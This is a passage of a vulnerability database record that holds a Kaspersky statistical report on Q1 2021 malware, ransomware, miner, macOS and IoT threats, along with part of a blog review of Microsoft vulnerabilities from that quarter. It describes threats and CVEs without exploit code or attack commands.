"https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2021-05-31T11:03:47", "description": "\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q1 2021:\n\n * Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources across the globe.\n * 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempts to run malware designed to steal money via online access to bank accounts were stopped on the computers of 118,099 users.\n * Ransomware attacks were defeated on the computers of 91,841 unique users.\n * Our File Anti-Virus detected 77,415,192 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nAt the end of last year, the number of users attacked by malware designed to steal money from bank accounts gradually decreased, a trend that continued in Q1 2021. This quarter, in total, Kaspersky solutions blocked the malware of such type on the computers of 118,099 unique users.\n\n_Number of unique users attacked by financial malware, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110545/01-en-malware-report-q1-2021-pc.png>))_\n\n**Attack geography**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110629/02-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 6.3 \n2 | Tajikistan | 5.3 \n3 | Afghanistan | 4.8 \n4 | Uzbekistan | 4.6 \n5 | Paraguay | 3.2 \n6 | Yemen | 2.1 \n7 | Costa Rica | 2.0 \n8 | Sudan | 2.0 \n9 | Syria | 1.5 \n10 | Venezuela | 1.4 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000). \n** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nAs before, the most widespread family of bankers in Q1 was ZeuS/Zbot (30.8%). Second place was taken by the CliptoShuffler family (15.9%), and third by Trickster (7.5%). All in all, more than half of all attacked users encountered these families. The notorious banking Trojan Emotet (7.4%) was deprived of its infrastructure this quarter as a result of a [joint operation](<https://www.europol.europa.eu/newsroom/news/world's-most-dangerous-malware-emotet-disrupted-through-global-action>) by Europol, the FBI and other law enforcement agencies, and its share predictably collapsed.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 30.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 15.9 \n3 | Trickster | Trojan.Win32.Trickster | 7.5 \n4 | Emotet | Backdoor.Win32.Emotet | 7.4 \n5 | RTM | Trojan-Banker.Win32.RTM | 6.6 \n6 | Nimnul | Virus.Win32.Nimnul | 5.1 \n7 | Nymaim | Trojan.Win32.Nymaim | 4.7 \n8 | SpyEye | Trojan-Spy.Win32.SpyEye | 3.8 \n9 | Danabot | Trojan-Banker.Win32.Danabot | 2.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 2.2 \n \n_** Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n**New additions to the ransomware arsenal**\n\nLast year, the SunCrypt and RagnarLocker ransomware groups adopted new scare tactics. If the victim organization is slow to pay up, even though its files are encrypted and some of its confidential data has been stolen, the attackers additionally threaten to carry out a DDoS attack. In Q1 2021, these two groups were joined by a third, Avaddon. Besides publishing stolen data, the ransomware operators said on their website that the victim would be subjected to a DDoS attack until it reached out to them.\n\nREvil (aka Sodinokibi) is another group looking to increase its extortion leverage. In addition to DDoS attacks, it has [added](<https://twitter.com/3xp0rtblog/status/1368149692383719426>) spam and calls to clients and partners of the victim company to its toolbox.\n\n**Attacks on vulnerable Exchange servers**\n\n[Serious vulnerabilities were recently discovered](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) in the Microsoft Exchange mail server, allowing [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>). Ransomware distributors wasted no time in exploiting these vulnerabilities; to date, this infection vector was seen being used by the Black Kingdom and DearCry families.\n\n**Publication of keys**\n\nThe developers of the Fonix (aka XINOF) ransomware ceased distributing their Trojan and posted the master key online for decrypting affected files. We took this key and created a [decryptor](<https://www.kaspersky.com/blog/fonix-decryptor/38646/>) that anyone can use. The developers of another strain of ransomware, Ziggy, not only [published](<https://www.bleepingcomputer.com/news/security/ziggy-ransomware-shuts-down-and-releases-victims-decryption-keys/>) the keys for all victims, but also announced their [intention](<https://www.bleepingcomputer.com/news/security/ransomware-admin-is-refunding-victims-their-ransom-payments/>) to return the money to everyone who paid up.\n\n**Law enforcement successes**\n\nLaw enforcement agencies under the US Department of Justice [seized](<https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware>) dark web resources used by NetWalker (aka Mailto) ransomware affiliates, and also brought charges against one of the alleged actors.\n\nFrench and Ukrainian law enforcers worked together to trace payments made through the Bitcoin ecosystem to Egregor ransomware distributors. The joint investigation resulted in the [arrest](<https://www.bleepingcomputer.com/news/security/egregor-ransomware-affiliates-arrested-by-ukrainian-french-police/>) of several alleged members of the Egregor gang.\n\nIn South Korea, a suspect in the GandCrab ransomware operation was [arrested](<https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-affiliate-arrested-for-phishing-attacks/>) (this family ceased active distribution back in 2019).\n\n### Number of new modifications\n\nIn Q1 2021, we detected seven new ransomware families and 4,354 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q1 2020 \u2013 Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110702/03-en-ru-es-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q1 2021, Kaspersky products and technologies protected 91,841 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110733/04-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of attacks by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110802/05-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 2.31% \n2 | Ethiopia | 0.62% \n3 | Greece | 0.49% \n4 | Pakistan | 0.49% \n5 | China | 0.48% \n6 | Tunisia | 0.44% \n7 | Afghanistan | 0.42% \n8 | Indonesia | 0.38% \n9 | Taiwan, Province of China | 0.37% \n10 | Egypt | 0.28% \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 19.37% \n2 | (generic verdict) | Trojan-Ransom.Win32.Gen | 12.01% \n3 | (generic verdict) | Trojan-Ransom.Win32.Phny | 9.31% \n4 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 8.45% \n5 | (generic verdict) | Trojan-Ransom.Win32.Agent | 7.36% \n6 | PolyRansom/VirLock | Trojan-Ransom.Win32.PolyRansom\n\nVirus.Win32.PolyRansom | 3.78% \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 2.93% \n8 | Stop | Trojan-Ransom.Win32.Stop | 2.79% \n9 | (generic verdict) | Trojan-Ransom.Win32.Cryptor | 2.17% \n10 | REvil/Sodinokibi | Trojan-Ransom.Win32.Sodin | 1.85% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new modifications\n\nIn Q1 2021, Kaspersky solutions detected 23,894 new modifications of miners. And though January and February passed off relatively calmly, March saw a sharp rise in the number of new modifications \u2014 more than fourfold compared to February.\n\n_Number of new miner modifications, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110831/06-en-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 432,171 unique users of Kaspersky products worldwide. Although this figure has been rising for three months, it is premature to talk about a reversal of last year&#x27;s trend, whereby the number of users attacked by miners actually fell. For now, we can tentatively assume that the growth in cryptocurrency prices, in particular bitcoin, has attracted the attention of cybercriminals and returned miners to their toolkit.\n\n_Number of unique users attacked by miners, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111053/07-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of miner attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111128/08-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 4.65 \n2 | Ethiopia | 3.00 \n3 | Rwanda | 2.37 \n4 | Uzbekistan | 2.23 \n5 | Kazakhstan | 1.81 \n6 | Sri Lanka | 1.78 \n7 | Ukraine | 1.59 \n8 | Vietnam | 1.48 \n9 | Mozambique | 1.46 \n10 | Tanzania | 1.45 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyber attacks\n\nIn Q1 2021, we noted a drop in the share of exploits for vulnerabilities in the Microsoft Office suite, but they still lead the pack with 59%. The most common vulnerability in the suite remains [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), a stack buffer overflow that occurs when processing objects in the Equation Editor component. Exploits for [CVE-2015-2523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2523>) \u2014 use-after-free vulnerabilities in Microsoft Excel \u2014 and [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>), which we&#x27;ve often written about, were also in demand. Note the age of these vulnerabilities \u2014 even the latest of them was discovered almost three years ago. So, once again, we remind you of the importance of regular updates.\n\nThe first quarter was rich not only in known exploits, but also new zero-day vulnerabilities. In particular, the interest of both [infosec experts](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) and cybercriminals was piqued by vulnerabilities in the popular Microsoft Exchange Server:\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26855>)\u2014 a service-side request forgery vulnerability that allows remote code execution (RCE)\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26857>)\u2014 an insecure deserialization vulnerability in the Unified Messaging service that can lead to code execution on the server\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>)\u2014 a post-authorization arbitrary file write vulnerability in Microsoft Exchange, which could also lead to remote code execution\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-27065>)\u2014 as in the case of [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>), allows an authorized Microsoft Exchange user to write data to an arbitrary file in the system\n\nFound [in the wild](<https://encyclopedia.kaspersky.com/glossary/exploitation-in-the-wild-itw/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), these vulnerabilities were used by APT groups, including as a springboard for ransomware distribution.\n\nDuring the quarter, vulnerabilities were also identified in Windows itself. In particular, the [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1732>) vulnerability allowing privilege escalation was discovered in the Win32k subsystem. Two other vulnerabilities, [CVE-2021-1647](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1647>) and [CVE-2021-24092](<https://nvd.nist.gov/vuln/detail/CVE-2021-24092>), were found in the Microsoft Defender antivirus engine, allowing elevation of user privileges in the system and execution of potentially dangerous code.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111159/09-en-malware-report-q1-2021-pc.png>))_\n\nThe second most popular were exploits for browser vulnerabilities (26.12%); their share in Q1 grew by more than 12 p.p. Here, too, there was no doing without newcomers: for example, the Internet Explorer script engine was found to contain the [CVE-2021-26411](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26411>) vulnerability, which can lead to remote code execution on behalf of the current user through manipulations that corrupt the heap memory. This vulnerability was exploited by the [Lazarus](<https://securelist.ru/tag/lazarus/>) group to download malicious code and infect the system. Several vulnerabilities were discovered in Google Chrome:\n\n * [CVE-2021-21148](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21148>)\u2014 heap buffer overflow in the V8 script engine, leading to remote code execution\n * [CVE-2021-21166](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21166>)\u2014 overflow and unsafe reuse of an object in memory when processing audio data, also enabling remote code execution\n * [CVE-2021-21139](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21139>)\u2014 bypassing security restrictions when using an iframe.\n\nOther interesting findings include a critical vulnerability in VMware vCenter Server, [CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>), which allows remote code execution without any rights. Critical vulnerabilities in the popular SolarWinds Orion Platform \u2014 [CVE-2021-25274](<https://nvd.nist.gov/vuln/detail/CVE-2021-25274>), [CVE-2021-25275](<https://nvd.nist.gov/vuln/detail/CVE-2021-25275>) and [CVE-2021-25276](<https://nvd.nist.gov/vuln/detail/CVE-2021-25276>) \u2014 caused a major splash in the infosec environment. They gave attackers the ability to infect computers running this software, usually machines inside corporate networks and government institutions. Lastly, the [CVE-2021-21017](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21017>) vulnerability, discovered in Adobe Reader, caused a heap buffer overflow by means of a specially crafted document, giving an attacker the ability to execute code.\n\nAnalysis of network threats in Q1 2021 continued to show ongoing attempts to attack servers with a view to brute-force passwords for network services such as Microsoft SQL Server, RDP and SMB. Attacks using the popular EternalBlue, EternalRomance and other similar exploits were widespread. Among the most notable new vulnerabilities in this period were bugs in the Windows networking stack code related to handling the IPv4/IPv6 protocols: [CVE-2021-24074](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24074>), [CVE-2021-24086](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086>) and [CVE-2021-24094](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24094>).\n\n## Attacks on macOS\n\nQ1 2021 was also rich in macOS-related news. Center-stage were cybercriminals who took pains to modify their [malware for the newly released MacBooks with M1 processors](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>). Updated adware for the new Macs also immediately appeared, in particular the [Pirrit family](<https://objective-see.com/blog/blog_0x62.html>) (whose members placed high in our Top 20 threats for macOS). In addition, we detected an interesting adware program written in the Rust language, and assigned it the verdict [AdWare.OSX.Convuster.a](<https://securelist.ru/convuster-macos-adware-in-rust/100859/>).\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.ac | 18.01 \n2 | AdWare.OSX.Pirrit.j | 12.69 \n3 | AdWare.OSX.Pirrit.o | 8.42 \n4 | AdWare.OSX.Bnodlero.at | 8.36 \n5 | Monitor.OSX.HistGrabber.b | 8.06 \n6 | AdWare.OSX.Pirrit.gen | 7.95 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.90 \n8 | AdWare.OSX.Cimpli.m | 6.17 \n9 | AdWare.OSX.Pirrit.aa | 6.05 \n10 | Backdoor.OSX.Agent.z | 5.27 \n11 | Trojan-Downloader.OSX.Agent.h | 5.09 \n12 | AdWare.OSX.Bnodlero.bg | 4.60 \n13 | AdWare.OSX.Ketin.h | 4.02 \n14 | AdWare.OSX.Bnodlero.bc | 3.87 \n15 | AdWare.OSX.Bnodlero.t | 3.84 \n16 | AdWare.OSX.Cimpli.l | 3.75 \n17 | Trojan-Downloader.OSX.Lador.a | 3.61 \n18 | AdWare.OSX.Cimpli.k | 3.48 \n19 | AdWare.OSX.Ketin.m | 2.98 \n20 | AdWare.OSX.Bnodlero.ay | 2.94 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nTraditionally, most of the Top 20 threats for macOS are adware programs: 15 in Q1. In the list of malicious programs, Trojan-Downloader.OSX.Shlayer.a (7.90%) maintained its popularity. Incidentally, this Trojan&#x27;s task is to download adware from the Pirrit and Bnodlero families. But we also saw the reverse, when a member of the AdWare.OSX.Pirrit family dropped Backdoor.OSX.Agent.z into the system.\n\n### Threat geography\n\n_Geography of threats for macOS, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111228/10-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 4.62 \n2 | Spain | 4.43 \n3 | Italy | 4.36 \n4 | India | 4.11 \n5 | Canada | 3.59 \n6 | Mexico | 3.55 \n7 | Russia | 3.21 \n8 | Brazil | 3.18 \n9 | Great Britain | 2.96 \n10 | USA | 2.94 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000) \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q1 2021, Europe accounted for the Top 3 countries by share of attacked macOS users: France (4.62%), Spain (4.43%) and Italy (4.36%). The most common threats in all three were adware apps from the Pirrit family.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2021, most of the devices that attacked Kaspersky traps did so using the Telnet protocol. A third of the attacking devices attempted to [brute-force](<https://encyclopedia.kaspersky.com/glossary/brute-force/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) our SSH traps.\n\nTelnet | 69.48% \n---|--- \nSSH | 30.52% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 77.81% \n---|--- \nSSH | 22.19% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2021_\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Telnet traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111259/11-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were carried out on Kaspersky Telnet traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | China | 33.40 \n2 | India | 13.65 \n3 | USA | 11.56 \n4 | Russia | 4.96 \n5 | Montenegro | 4.20 \n6 | Brazil | 4.19 \n7 | Taiwan, Province of China | 2.32 \n8 | Iran | 1.85 \n9 | Egypt | 1.84 \n10 | Vietnam | 1.73 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### SSH-based attacks\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky SSH traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111335/12-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | USA | 24.09 \n2 | China | 19.89 \n3 | Hong Kong | 6.38 \n4 | South Korea | 4.37 \n5 | Germany | 4.06 \n6 | Brazil | 3.74 \n7 | Russia | 3.05 \n8 | Taiwan, Province of China | 2.80 \n9 | France | 2.59 \n10 | India | 2.36 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### Threats loaded into traps\n\n| Verdict | %* \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 50.50% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 9.26% \n3 | Backdoor.Linux.Gafgyt.a | 3.01% \n4 | HEUR:Trojan-Downloader.Shell.Agent.bc | 2.72% \n5 | Backdoor.Linux.Mirai.a | 2.72% \n6 | Backdoor.Linux.Mirai.ba | 2.67% \n7 | Backdoor.Linux.Agent.bc | 2.37% \n8 | Trojan-Downloader.Shell.Agent.p | 1.37% \n9 | Backdoor.Linux.Gafgyt.bj | 0.78% \n10 | Trojan-Downloader.Linux.Mirai.d | 0.66% \n \n_* Share of malware type in the total number of malicious programs downloaded to IoT devices following a successful attack._\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&amp;C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established._\n\nIn Q1 2021, Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources located across the globe. 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus.\n\n_Distribution of web attack sources by country, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111405/13-en-malware-report-q1-2021-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious objects that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 15.81 \n2 | Ukraine | 13.60 \n3 | Moldova | 13.16 \n4 | Kyrgyzstan | 11.78 \n5 | Latvia | 11.38 \n6 | Algeria | 11.16 \n7 | Russia | 11.11 \n8 | Mauritania | 11.08 \n9 | Kazakhstan | 10.62 \n10 | Tajikistan | 10.60 \n11 | Uzbekistan | 10.39 \n12 | Estonia | 10.20 \n13 | Armenia | 9.44 \n14 | Mongolia | 9.36 \n15 | France | 9.35 \n16 | Greece | 9.04 \n17 | Azerbaijan | 8.57 \n18 | Madagascar | 8.56 \n19 | Morocco | 8.55 \n20 | Lithuania | 8.53 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average, 7.67% of Internet user computers worldwide experienced at least one **Malware-class** attack.\n\n_Geography of web-based malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111435/14-en-malware-report-q1-2021-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users&#x27; computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q1 2021, our File Anti-Virus detected **77,415,192** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Afghanistan | 47.71 \n2 | Turkmenistan | 43.39 \n3 | Ethiopia | 41.03 \n4 | Tajikistan | 38.96 \n5 | Bangladesh | 36.21 \n6 | Algeria | 35.49 \n7 | Myanmar | 35.16 \n8 | Uzbekistan | 34.95 \n9 | South Sudan | 34.17 \n10 | Benin | 34.08 \n11 | China | 33.34 \n12 | Iraq | 33.14 \n13 | Laos | 32.84 \n14 | Burkina Faso | 32.61 \n15 | Mali | 32.42 \n16 | Guinea | 32.40 \n17 | Yemen | 32.32 \n18 | Mauritania | 32.22 \n19 | Burundi | 31.68 \n20 | Sudan | 31.61 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111505/15-en-malware-report-q1-2021-pc.png>))_\n\nOverall, 15.05% of user computers globally faced at least one **Malware-class** local threat during Q1.", "cvss3": {}, "published": "2021-05-31T10:00:05", "type": "securelist", "title": "IT threat evolution Q1 2021. Non-mobile statistics", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2015-2523", "CVE-2017-11882", "CVE-2018-0802", "CVE-2021-1647", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21139", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21972", "CVE-2021-24074", "CVE-2021-24086", "CVE-2021-24092", "CVE-2021-24094", "CVE-2021-25274", "CVE-2021-25275", "CVE-2021-25276", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-31T10:00:05", "id": "SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1", "href": "https://securelist.com/it-threat-evolution-q1-2021-non-mobile-statistics/102425/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "avleonov": [{"lastseen": "2021-03-26T00:33:35", "description": "Hello everyone! It has been 3 months since [my last review of Microsoft vulnerabilities for Q4 2020](<https://avleonov.com/2021/01/11/vulristics-vulnerability-score-automated-data-collection-and-microsoft-patch-tuesdays-q4-2020/>). In this episode I want to review the Microsoft vulnerabilities for the first quarter of 2021. There will be 4 parts: January, February, March and the vulnerabilities that were released between the Patch Tuesdays.\n\n\n\nI will be using the reports that I created with my [Vulristics tool](<https://github.com/leonov-av/vulristics>). This time I&#x27;ll try to make the episodes shorter. I will describe only the most critical vulnerabilities. Links to the full reports are at the bottom of the blog post.\n\n## January 2021\n\n * All vulnerabilities: 83\n * Urgent: 0\n * Critical: 1\n * High: 28\n * Medium: 51\n * Low: 3\n\nSo, what was interesting in January. The only critical vulnerability was Microsoft Defender Remote Code Execution (CVE-2021-1647). &quot;Microsoft stated that this vulnerability was exploited before the patches were made available. This patch should be prioritized.&quot;\n\nThe most interesting High level vulnerability is Microsoft splwow64 Elevation of Privilege (CVE-2021-1648). &quot;According to Maddie Stone, a researcher at Google Project Zero credited with identifying this vulnerability, CVE-2021-1648 is a patch bypass for CVE-2020-0986, which was exploited in the wild as a zero-day.&quot;\n\nAlso, vendors paid attention to a large number of Remote Procedure Call Runtime Remote Code Executions (CVE-2021-1658, CVE-2021-1660, CVE-2021-1664, CVE-2021-1666, CVE-2021-1667, CVE-2021-1671, CVE-2021-1673, CVE-2021-1700, CVE-2021-1701) and Windows Remote Desktop Security Feature Bypass (CVE-2021-1669). But there are still no signs of exploitation for them. They are all labeled High in the Vulristics report.\n\nThere were no public exploits for any of the January vulnerabilities. January was a quiet and calm month.\n\n## February 2021\n\n * All vulnerabilities: 57\n * Urgent: 1\n * Critical: 2\n * High: 21\n * Medium: 31\n * Low: 2\n\nOne Urgent level vulnerability is Elevation of Privilege in Win32k component of Windows 10 and Windows Server 2019 (CVE-2021-1732). According to Microsoft, this vulnerability has been exploited in the wild. &quot;Successful exploitation would elevate the privileges of an attacker, potentially allowing them to create new accounts, install programs, and view, modify or delete data&quot;. Public exploit in a form of Metasploit Module is found at Vulners ([Win32k ConsoleControl Offset Confusion](<https://vulners.com/packetstorm/packetstorm:161880>)).\n\nBut the situation with other critical vulnerabilities is interesting. None of the VM vendors mentioned them in their Patch Tuesday reviews.\n\n * This is Microsoft Exchange Server Spoofing Vulnerability (CVE-2021-24085), which is mentioned on [AttackerKB](<https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085>) and for which public exploit is found at Vulners ([Microsoft Exchange Server msExchEcpCanary CSRF / Privilege Escalation](<https://vulners.com/packetstorm/packetstorm:161528>)). This is not the same vulnerability that was exploited in HAFNIUM. We&#x27;ll get to those vulnerabilities later.\n * Two other vulnerabilities, Windows Win32k Elevation of Privilege Vulnerability (CVE-2021-1698) and Microsoft Exchange Server (CVE-2021-1730), were exploitated in the wild. Therefore, the Vulristics Vulnerability Score is higher for them.\n\nIf vendors ignored these vulnerabilities, what vulnerabilities did they mention in their reports? \n\n * Primarily they wrote about Windows TCP/IP Remote Code Execution Vulnerabilities. &quot;Microsoft released a set of fixes affecting Windows TCP/IP implementation that include two Critical Remote Code Execution (RCE) vulnerabilities (CVE-2021-24074 and CVE-2021-24094) and an Important Denial of Service (DoS) vulnerability (CVE-2021-24086). While there is no evidence that these vulnerabilities are exploited in wild, these vulnerabilities should be prioritized given their impact.&quot;\n * Also about Windows DNS Server Remote Code Execution Vulnerability (CVE-2021-24078). &quot;RCE flaw within Windows server installations when configured as a DNS server. Affecting Windows Server versions from 2008 to 2019, including server core installations, this severe flaw is considered \u201cmore likely\u201d to be exploited and 